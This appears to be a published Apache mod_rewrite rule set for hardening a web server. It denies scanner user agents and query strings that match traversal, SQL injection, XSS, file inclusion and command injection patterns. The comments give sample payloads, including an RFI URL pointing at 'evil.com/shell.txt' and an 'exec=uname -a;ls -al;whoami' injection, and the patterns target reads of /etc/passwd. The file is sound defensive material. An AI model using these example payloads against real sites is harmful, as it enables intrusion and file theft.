Apache mod_rewrite security rules for Web server harding

# Hardened Apache Mod_Rewrite Security Rule
# Ref: http://httpd.apache.org/docs/2.0/mod/mod_rewrite.html#rewritecond
# NC = ‘nocase|NC’ (no case-sensitive)
# OR = ‘ornext|OR’ (or next condition)
# L = last rule
RewriteEngine on

# Allow only GET and POST verbs
# ‘Coz most vul scanners use HEAD for hunting buggy files existence
RewriteCond %{REQUEST_METHOD} !^(GET|POST)$ [NC,OR]
# Ban Non-GUI Browsers
RewriteCond %{HTTP_USER_AGENT} ^.*(lynx|wget).* [NC,OR]

# Ban Typical Vulnerability Scanners and others

RewriteCond %{HTTP_USER_AGENT} ^()$ [NC,OR] # void of UserAgent

# Known Web vulnerabilty Scanners

RewriteCond %{HTTP_USER_AGENT} ^.*(syhunt|sqlmap|WhatWeb|Netsparker|w3af|Nstalker|acunetix|qualys|nikto|wikto|pikto|pykto).* [NC,OR]

# Random Underground Web Exploit Scanners

RewriteCond %{HTTP_USER_AGENT} ^.*(javascript\:alert|0d\s0a|ZeW|SlimBrowser|drone|DataCha|SBIder|Shelob|MobileRunner|Microsoft\sOffice|Plesk|Itah|Mosill|Internet\sExplorer\s4\.01|al_viewer|NetSeer|MSFrontPage|Yandex|webcollage|lwp\-trivial|Isidorus|core\-project|\<script\>|Toata\sdragostea\smea\spentru\sdiavola|StackRambler|Firebat|Y\!J\-SRD|ZmEu|libwww|perl|java|curl|ruby|python|scan|fuck|kiss|ass|Morfeus|0wn|hack|h4x|h4x0r).* [NC,OR]
# Denial-of-Service Tool
RewriteCond %{HTTP_USER_AGENT} ^.*(ApacheBench).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(WWW\-Mechanize|revolt|Crawl|Mail\.Ru|Walker|sbide|findlinks|spide|Ace\sExplorer|winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]

# Disable access to cgi-bins if not used
RewriteCond %{REQUEST_URI} ^/(cgi\.cgi|webcgi|cgi\-914|cgi\-915|bin|cgi|mpcgi|cgi\-bin|ows\-bin|cgi\-sys|cgi\-local|htbin|cgibin|cgis|scripts|cgi\-win|fcgi\-bin|cgi\-exe|cgi\-home|cgi\-perl|scgi\-bin)/ [NC,OR]
# Block out common attack strings
# Additional filtering can be put into
# HTTP_USER_AGENT, HTTP_REFERER, HTTP_COOKIE,HTTP_FORWARDED,HTTP_ACCEPT

# Directory Traversal, Null Byte Injection, HTTP Response Splitting
RewriteCond %{QUERY_STRING} ^.*(\.\.\/|\.\.%2f|\.\.%5C|\.\.%252F|\.\.%255C|\.\.%u2215|%u002e%u002e%u2215|%252e%252e%252f|%00|\\x00|\\u00|%5C00|%09|%0D%0A) [NC,OR]

# SQL Injection Probing
RewriteCond %{QUERY_STRING} ^.*(\@\@version|CHR\(|CHAR\(|UNION%20SELECT|/select/|/union/|/insert/|/update/|/delete/).* [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(or|and)%20([0-9]=[0-9]).* [NC,OR]
# Remote/Local File Inclusion
# RFI: yoursite.com/?pg=http://evil.com/shell.txt?
# LFI: yoursite.com/?pg=/logs/access_log?
RewriteCond %{QUERY_STRING} .*(=https|=http|=ftp)(://|%3a%2f%2f).*\?$ [NC,OR]
RewriteCond %{QUERY_STRING} (\/access_log|boot\.ini|\/etc\/passwd|%2Fetc%2Fpasswd|c:\\boot\.ini|c%3A\\boot\.ini|c:\/boot\.ini|c:%2Fboot\.ini|c%3A%2Fboot\.ini|c:boot\.ini|c%3Aboot\.ini).* [NC,OR]

# PHP Version Probing
RewriteCond %{QUERY_STRING} ^(=PHP).* [NC,OR]

# XSS Probing
RewriteCond %{QUERY_STRING} ^.*(\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} ^.*(/XSS/).* [NC,OR]

# PHP GLOBALS Overriding
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]

# PHP REQUEST variable Overriding
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]

# PHP Command Injection Probing
# vuln.php?exec=uname -a;ls -al;whoami
RewriteCond %{QUERY_STRING} ^.*(=|;)(uname%20-|ls%20-|whoami).* [NC,OR]

# PHP CGI code execution

RewriteCond %{QUERY_STRING} ^[^=]*$ [OR]

RewriteCond %{QUERY_STRING} %2d|\-

# Deny access
RewriteRule ^(.*)$ /path/to/friendly_errror.php [F,L]